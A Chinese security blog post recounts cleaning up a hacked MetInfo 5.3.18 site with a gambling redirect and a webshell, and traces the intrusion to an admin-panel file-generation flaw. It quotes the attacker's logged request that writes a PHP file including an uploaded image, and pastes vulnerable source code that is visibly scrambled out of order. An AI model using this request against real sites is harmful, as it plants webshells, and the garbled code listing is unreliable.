设置背景图片
模块透明度调整:
黑客是怎样利用metinfo后台getshell exp
首页 > 渗透测试 作者:H0rk4 2018年5月12日 热度:184 字号: 评论: 0 百度未收录
时间:2018-5-12 13:13 热度:184°  评论:0 条 

朋友服务器被菠菜入侵,百度搜索进入自动跳转到菠菜页面.

1.png

自然不能袖手旁观.登录服务器后先查看是否是ssh入侵.
执行`last` 查看最近登录成功用户
root     pts/1        ***    Fri Nov 24 21:10   still logged in  
root     pts/0        ***    Fri Nov 24 18:00   still logged in  
root     pts/0        ***   Sun Nov 12 01:24 - 02:19  (00:54)    
root     pts/0        ***   Sun Oct  8 23:52 - 00:00  (00:08)    
root     pts/0        ***     Fri Oct  6 20:28 - 21:32  (01:04)
 
没有可疑用户登录,应该是通过web服务进行入侵

查看web目录

2.png

查看主页源码发现被替换了关键词和插入了js代码

3.png

解码关键词编码

4.png

web目录中那个 wocao目录怎么看都不像正常目录对吧,进入后发现了一句话木马

5.png

查看图片 并保存

6.png

将木马删除但是尚未找到黑客是如何入侵的

查看cms版本 metinfo5.3.18 查看更新日志

MetInfo 5.3.19 更新日志
9月25日
修复:后台生成任意文件getshell漏洞;
可能是黑客结合后台弱密码+利用了此漏洞.

查看木马文件,输入木马文件密码发现是大马

7.png

查看日志文件 搜索木马文件名 发现是外国ip window服务器 应该是黑客挂了vpn

8.png

		
在第一次访问木马发现可疑日志
GET /admin/app/physical/physical.php?action=op&op=3&valphysical.php?action=op&op=3&valphy=test|wocao/Gujun.php&address=../upload/201711/20154466.png
查看源码 引入了登录确认 此时黑客应该已经拿到后台权限 require_once $depth.'../login/login_check.php'; 让我们查看action=op时的代码 elseif($action=="op"){
$physical_op= &$physical_file;
switch($type){ case 1: $physical_op= &$physical_function; break; case 2: break;
// explode分割文本 现在$val = ['test','wocao/Gujun.php']
case 3: $physical_op= &$physical_fingerprint; break; } $val=explode('|',$valphy);
echo $lang_physicaldelno;
if(stristr(PHP_OS,"WIN")){ $val[1]=iconv("utf-8","gbk",$val[1]); } if(!$val[1]){ die(); }
deldir('../../../'.$val[1]);
// 很明显我们是存在的 switch($op){ // 我们op等于3 case 1: if(is_dir('../../../'.$val[1])){ echo $lang_physicaldelok;
$adminfile=$url_array[count($url_array)-2];
} else{unlink('../../../'.$val[1]); echo $lang_physicaldelok; } break; case 2:
$dlappfile=parse_ini_file('dlappfile.php',true);
$strsvalto=readmin($val[1],$adminfile,1); filetest('../../../'.$val[1]); deldir('../../../'.$val[1]); if($dlappfile[$strsvalto]['dlfile']){
$stringfile=dlfile($dlappfile[$strsvalto]['dlfile'],"../../../$val[1]");
$return=varcodeb('app'); $checksum=$return['md5']; $met_file='/dl/app_curl.php'; }else{ $met_file='/dl/olupdate_curl.php';
echo dlerror($stringfile);
$stringfile=dlfile("v$metcms_v/$strsvalto","../../../$val[1]"); } if($stringfile==1){ echo $lang_physicalupdatesuc; } else{ die(); } break; case 3:
Copyindx("../../../".$val[1],$val[2]);
$fileaddr=explode('/',$val[1]); //$fileaddr = ['wocao','Gujun.php'] $filedir="../../../".$fileaddr[0]; if(!file_exists($filedir)){ @mkdir ($filedir, 0777); } if($fileaddr[1]=="index.php"){ } else{ switch($val[2]){
$address="../product/$fileaddr[1]";
// 很明显我们传入的参数并不是数字 case 1: $address="../about/$fileaddr[1]"; break; case 2: $address="../news/$fileaddr[1]"; break; case 3: break; case 4:
$newfile ="../../../$val[1]";
$address="../download/$fileaddr[1]"; break; case 5: $address="../img/$fileaddr[1]"; break; case 8: $address="../feedback/$fileaddr[1]"; break; } //我们传入的参数是address是../upload/201711/20154466.png
exit;
//然后实际上程序员本意是让我们传入数字然后获得上面的值 Copyfile($address,$newfile); } echo $lang_physicalgenok; break; case 4: $filename="../../../$val[1]"; $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); echo nl2br(htmlspecialchars($filecode)); break; }
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
$fun=explode(',',$physical_op); $physical_op=NULL; foreach($fun as $key1=>$val1){ $val2=explode('|',$val1); if($val2[1]!=$val[1]){ $physical_op.="$val2[0]|$val2[1]|$val2[2],"; } } $physical_op[strlen($physical_op)-1]=""; require_once $depth.'../include/config.php'; }elseif($action=="download"){ echo $lang_physicalupdatesuc; } # This program is an open source system, commercial use, please consciously to purchase commercial license. ?>
}
此时传入copyfile参数都是我们控制,查看copyfile函数是否有防护 function Copyfile($address,$newfile){ $oldcont = &quot;<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \nrequire_once &#39;$address&#39;;\n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>&quot;; if(!file_exists($newfile)){ $fp = fopen($newfile,w); fputs($fp, $oldcont); fclose($fp);
}

发现 字符串拼接进入文件 并出现在 require_once函数参数 最后组成了木马文件

查看最新版 添加了什么防护
 
default:
                address=&#39;&#39;
if($address != &#39;&#39;){
                                        Copyfile($address,$newfile);
                                }
 
阻止了后台getshell

本次被入侵应该是网站默认后台+弱密码 因为服务器日志未保存post数据 未能确认
已经删除木马并将cms重装

正文到此结束

热门推荐

二维码加载中...
版权声明:若无特殊注明,本文皆为《 H0rk4 》原创,转载请保留文章出处。
本文链接:黑客是怎样利用metinfo后台getshell exp http://www.8ohk.com/?post=103

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗


既然没有吐槽,那就赶紧抢沙发吧!


本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除  

Copyright © 2017-2019  H0rk4's Blog - 致力关注于黑客技术、渗透测试、网络信息安全、1980黑客团队   站长: H0rk4  主题1980黑客团队   H0rk4